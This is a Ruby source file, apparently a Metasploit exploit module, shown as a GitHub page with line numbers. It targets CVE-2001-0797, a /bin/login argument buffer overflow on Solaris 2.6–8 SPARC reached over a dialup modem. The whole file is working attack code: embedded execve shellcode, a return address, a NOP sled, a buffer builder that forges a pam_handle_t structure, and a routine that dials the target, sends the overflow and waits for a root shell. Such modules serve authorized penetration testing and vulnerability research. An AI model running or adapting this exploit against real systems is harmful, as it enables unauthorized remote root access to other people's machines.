/
manyargs.rb
215 lines (187 loc) · 5.28 KB
/
manyargs.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Dialup
def initialize(info = {})
super(update_info(info,
'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
'Description' => %q{
This exploit connects to a system's modem over dialup and exploits
a buffer overflow vulnerability in it's System V derived /bin/login.
The vulnerability is triggered by providing a large number of arguments.
},
'References' =>
[
[ 'CVE', '2001-0797'],
[ 'OSVDB', '690'],
[ 'OSVDB', '691'],
[ 'BID', '3681'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
],
'Author' =>
[
'I)ruid',
],
'Arch' => ARCH_TTY,
'Platform' => ['unix'],
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 3000,
'BadChars' => '',
'DisableNops' => true,
},
'Targets' =>
[
[ 'Solaris 2.6 - 8 (SPARC)',
{
'Platform' => 'unix',
'Ret' => 0x00027184,
# Solaris/SPARC special shellcode (courtesy of inode)
# execve() + exit()
'Shellcode' =>
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
'NOP' => "\x90\x1b\x80\x0e",
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2001-12-12'))
register_options(
[
# OptString.new('USER', [true, 'User to log in as', 'bin']),
])
end
def buildbuf
print_status("Targeting: #{self.target.name}")
retaddr = self.target.ret
shellcode = self.target['Shellcode']
nop = self.target['NOP']
user = datastore['USER']
command = datastore['COMMAND'] + "\n"
# prepare the evil buffer
i = 0
buf = ''
# login name
buf[i,4] = 'bin '
i += 4
# return address
buf[i,4] = [retaddr].pack('N')
i += 4
buf[i,1] = ' '
i += 1
# trigger the overflow
(0...60).each {|c|
buf[i,2] = 'a '
i += 2
}
# padding
buf[i,4] = ' BBB'
i += 4
# nop sled and shellcode
(0...398).each {|c|
buf[i,nop.size] = nop
i += nop.size
}
shellcode.each_byte {|b|
c = b.chr
case 'c'
when "\\"
buf[i,2] = "\\\\"
i += 2
when "\xff", "\n", " ", "\t"
buf[i,1] = "\\"
buf[i+1,1] = (((b & 0300) >> 6) + '0').chr
buf[i+2,1] = (((b & 0070) >> 3) + '0').chr
buf[i+3,1] = ( (b & 0007) + '0').chr
i += 4
else
buf[i,1] = c
i += 1
end
}
# TODO: need to overwrite/skip the last byte of shellcode?
#i -= 1
# padding
buf[i,4] = 'BBB '
i += 4
# pam_handle_t: minimal header
buf[i,16] = 'CCCCCCCCCCCCCCCC'
i += 16
buf[i,4] = [retaddr].pack('N')
i += 4
buf[i,4] = [0x01].pack('N')
i += 4
# pam_handle_t: NULL padding
(0...52).each {|c|
buf[i,4] = [0].pack('N')
i += 4
}
# pam_handle_t: pameptr must be the 65th ptr
buf[i,9] = "\x00\x00\x00 AAAA\n"
i += 9
return buf
end
def exploit
buf = buildbuf
print_status("Dialing Target")
if not connect_dialup
print_error("Exiting.")
return
end
print_status("Waiting for login prompt")
res = dialup_expect(/ogin:\s/i, 10)
#puts Rex::Text.to_hex_dump(res[:buffer])
if not res[:match]
print_error("Login prompt not found... Exiting.")
disconnect_dialup
return
end
# send the evil buffer, 256 chars at a time
print_status("Sending evil buffer...")
#puts Rex::Text.to_hex_dump(buf)
len = buf.length
p = 0
while(len > 0) do
i = len > 0x100 ? 0x100 : len
#puts Rex::Text.to_hex_dump(buf[p,i])
dialup_puts(buf[p,i])
len -= i
p += i
# if len > 0
# puts Rex::Text.to_hex_dump("\x04")
# dialup_puts("\x04") if len > 0
# end
select(nil,nil,nil,0.5)
end
# wait for password prompt
print_status("Waiting for password prompt")
res = dialup_expect(/assword:/i, 30)
#puts Rex::Text.to_hex_dump(res[:buffer])
if not res[:match]
print_error("Target is likely not vulnerable... Exiting.")
disconnect_dialup
return
end
print_status("Password prompt received, waiting for shell")
dialup_puts("pass\n")
res = dialup_expect(/#\s/i, 20)
#puts Rex::Text.to_hex_dump(res[:buffer])
if not res[:match]
print_error("Shell not found.")
print_error("Target is likely not vulnerable... Exiting.")
disconnect_dialup
return
end
print_status("Success!!!")
handler
disconnect_dialup
end
end